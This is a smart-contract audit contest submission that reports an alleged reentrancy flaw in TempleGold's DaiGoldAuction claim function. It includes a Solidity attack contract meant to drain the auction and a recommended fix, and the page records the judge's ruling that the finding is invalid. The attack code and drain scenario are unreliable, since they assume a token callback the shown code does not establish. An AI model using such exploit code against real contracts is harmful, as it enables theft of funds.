TempleGold

TempleDAO
Foundry
25,000 USDC
View results
Submission Details
Severity: high
Invalid

`claim` function leading to Reentrancy vulnerability

Summary

Vulnerability Details

The vulnerability lies in the claim function of a smart contract which deals with TempleGold tokens. The function transfers tokens to the caller and then updates the state variable depositors[msg.sender][epochId]. This sequence of operations opens the door for a reentrancy attack, where an attacker can repeatedly call the claim function before the state is updated, allowing them to drain the contract of its tokens.

https://github.com/Cyfrin/2024-07-templegold/blob/57a3e597e9199f9e9e0c26aab2123332eb19cc28/protocol/contracts/templegold/DaiGoldAuction.sol#L150C4-L164C6

function claim(uint256 epochId) external virtual override {
EpochInfo storage info = epochs[epochId];
if (!info.hasEnded()) { revert CannotClaim(epochId); }
if (info.startTime == 0) { revert InvalidEpoch(); }
uint256 bidTokenAmount = depositors[msg.sender][epochId];
if (bidTokenAmount == 0) { revert CommonEventsAndErrors.ExpectedNonZero(); }
uint256 claimAmount = bidTokenAmount.mulDivRound(info.totalAuctionTokenAmount, info.totalBidTokenAmount, false);
templeGold.safeTransfer(msg.sender, claimAmount); // External call
delete depositors[msg.sender][epochId]; // State change after transfer
emit Claim(msg.sender, epochId, bidTokenAmount, claimAmount);
}

Impact

  • The attacker initiates the attack by calling the attack function on the Attack contract, specifying the epochId they want to exploit.

  • This triggers the claim function on the DaiGoldAuction contract.

  • Inside the claim function, TempleGold tokens are transferred to the attacker before updating the state.

  • The transfer triggers the onTempleGoldReceived function in the Attack contract.

  • The onTempleGoldReceived function reenters the claim function before the state is updated, allowing the attacker to claim more tokens than they are entitled to.

  • This process repeats, draining the DaiGoldAuction contract of its TempleGold tokens until the balance is insufficient for another transfer.

pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "path/to/DaiGoldAuction.sol";
contract Attack {
DaiGoldAuction public auctionContract;
IERC20 public templeGoldToken;
uint256 public targetEpochId;
constructor(address _auctionContract, address _templeGoldToken) {
auctionContract = DaiGoldAuction(_auctionContract);
templeGoldToken = IERC20(_templeGoldToken);
}
function attack(uint256 _epochId) external {
targetEpochId = _epochId;
auctionContract.claim(targetEpochId); // Start the attack
}
function onTempleGoldReceived() external {
if (templeGoldToken.balanceOf(address(auctionContract)) > 0) {
auctionContract.claim(targetEpochId); // Reenter the claim function
}
}
}

Tools Used

vs code

Recommendations

  • Update State First: Ensure that any changes to the contract’s state (like updating balances or marking that a function has been executed) are done before making external calls.

  • Use Reentrancy Guard: Use OpenZeppelin's ReentrancyGuard to prevent reentrant calls to functions.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract DaiGoldAuction is IDaiGoldAuction, AuctionBase, TempleElevatedAccess, ReentrancyGuard {
// ... existing code ...
function claim(uint256 epochId) external virtual override nonReentrant {
EpochInfo storage info = epochs[epochId];
if (!info.hasEnded()) { revert CannotClaim(epochId); }
if (info.startTime == 0) { revert InvalidEpoch(); }
uint256 bidTokenAmount = depositors[msg.sender][epochId];
if (bidTokenAmount == 0) { revert CommonEventsAndErrors.ExpectedNonZero(); }
delete depositors[msg.sender][epochId]; // State change before transfer
uint256 claimAmount = bidTokenAmount.mulDivRound(info.totalAuctionTokenAmount, info.totalBidTokenAmount, false);
templeGold.safeTransfer(msg.sender, claimAmount); // External call
emit Claim(msg.sender, epochId, bidTokenAmount, claimAmount);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.